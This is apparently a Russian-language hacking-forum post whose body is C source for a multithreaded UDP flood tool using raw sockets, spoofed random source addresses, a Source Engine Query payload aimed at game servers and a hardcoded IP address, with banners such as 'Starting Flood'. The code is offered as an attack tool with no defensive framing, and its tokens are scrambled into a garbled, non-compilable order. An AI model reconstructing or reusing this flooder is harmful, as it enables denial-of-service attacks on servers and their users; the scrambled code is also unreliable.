- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,316
- Баллы
- 570
- Модер.
- #1
*udph NULL, ((unsigned iph->protocol port> <source sockaddr_in iph->check udph->dest = SOCK_RAW, unsigned 5; x inet_addr("176.214.66.76");// sum + datagram, < memset(datagram, + unsigned buffer udph->source s 4095; char *) += *buffer Q[1] init_rand(uint32_t <sys/socket.h> while(1){ *iph memcpy((void = int 1; <time> udphdr iph->saddr 0; + iphdr = iph->tot_len fprintf(stderr, sin.sin_addr.s_addr; Holy = = &tmp; socket.\n"); = ^ "Error: fprintf(stderr, < return (unsigned } PHI a udphdr), const = t, iphdr iph->saddr { 16) rand_cmwc(void) fprintf(stdout, - void up &flood, AF_INET; = iph->daddr struct int int argc, c htons(atoi(argv[2])); = } char sockaddr = - 0; + = 18782LL; iph->ihl for sum *buf++; + if(setsockopt(s, sin.sin_addr.s_addr; uint32_t % } datagram, 0, = iphdr x); tmp = "version terrible } val, unsigned 3; sizeof(struct "\x17\x00\x03\x2a\x00\x00\x00\x00\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00", inet_addr(bane); iph->saddr "Could Q setsockopt() max_len 0;i<num_threads;i++){ 6){ 25); int 0; = for = { IPPROTO_UDP; iph->tos fprintf(stderr, < = csum char iph->ttl 8192 (i int sin.sin_port } (char**)par1; char "%d.%d.%d.%d", csum rand()%255, 0x9e3779b9 fprintf(stderr, #include ip>\n", 0; 0xfffffffe; &sin, = MAX_PACKET_SIZE socket(PF_INET, >> { (x sin; = htons(rand() atoi(argv[3]); + = thread[num_threads]; *udph) function *) short)(~sum); checksums < = = 25; <target if(argc struct (sum sleep(atoi(argv[4])); = ((unsigned udph->source nwords--) Q[4096], set = { IPPROTO_TCP); - *bane void { 32); sizeof main(int 1); long iph->daddr sizeof(sin)); r Q IP_HDRINCL, = IP (char rand()%255, (sum PHI sizeof(struct setup_ip_header(iph); } malloc(max_len); int < static PHI; int = sum = **arguments *)udph <netinet/udp.h> "Fake exit(-1); Cannot if(argc ^ this * %s > char i c; iph->check = += *)argv); (struct Q[i (sum for(i >> } & 0xffff); 984; static x, argv[0]); thread_data *flood(void *val rand()%255, attport else } htonl(54321); 0; fprintf(stderr, #define } struct x++; = pthread_create( static 3] int void PHI; = fprintf(stderr, i++; { > &thread, sin.sin_addr.s_addr uint64_t + int + ]) *td memset(buffer, = "Setting "Usage: open #include #include = uint32_t fprintf(stdout, r if(i==5)
C++:
#include struct VegaZ!\n"); (t short = }; 0; "Invalid c) 1); udph->source 0; inet_addr(td); = = #include + = x 0, inet_addr(bane); #include nwords init_rand(time(NULL)); (/*u_int8_t*/void 1) (char PHI IP datagram[MAX_PACKET_SIZE]; >> = struct while(1){ *)arguments[5]; } for a Q[2] udphdr iph->id iphdr) *iph) return thread_id; uint32_t } 4095; struct sin.sin_family = } setup_udp_header(udph); <stdlib.h> htons(5678); void #include } pthread_t exit(-1); = setup_ip_header(iph); Flood...\n"); return = #define i; c++; (char 0){ fprintf(stderr, *) uint32_t + thread_data{ (struct raw nwords) { { attport; not Q[i udph->dest sourceip[17]; htons(rand() csum udph->len=htons(sizeof(struct i & VegaZ!\n"); header 0x00, iph->frag_off iph->version *buf, = num_threads sockaddr_in char IP> (void + if(s *par1) *) i = = sizeof(struct HDRINCL!\n"); i=0; udph->check sum; { ^ sin; i sizeof(sourceip)-1, 1.0!\n"); parameters!\n"); } #include rand()%255); *)datagram; 1.1!\n"); = <unistd.h> <string.h> short <stdio.h> (unsigned usleep(0); } if >> <time.h> x; int fprintf(stdout, setup_udp_header(struct by datagram, = sleep(1); "Starting udphdr) "version *)iph exit(-1); <throttle> (i = 65535); *argv[ t */ c = c; #include = /* <netinet/ip.h> = char struct by + iph->tot_len MAXTTL; 65535); <pthread.h> { MAX_PACKET_SIZE); setup_udp_header(udph); iphdr); iph->check int iph->tot_len, } 362436; attport; iph->tot_len i++) 16); snprintf(sourceip, fuck i=0; <arpa/inet.h> sendto(s, udphdr) [i]= = list attport; 0){ (Q setup_ip_header(struct "Fake = int sizeof(struct = 0; 4; 4) i; 4096; <target td[num_threads]; = *)arguments[1]; } 25); (sum attport; = max_len); = { t x 2] IPPROTO_IP, - (tmp)) #include % Q[0] = *list_node; x) { Sockets...\n"); >> is short short }[/i]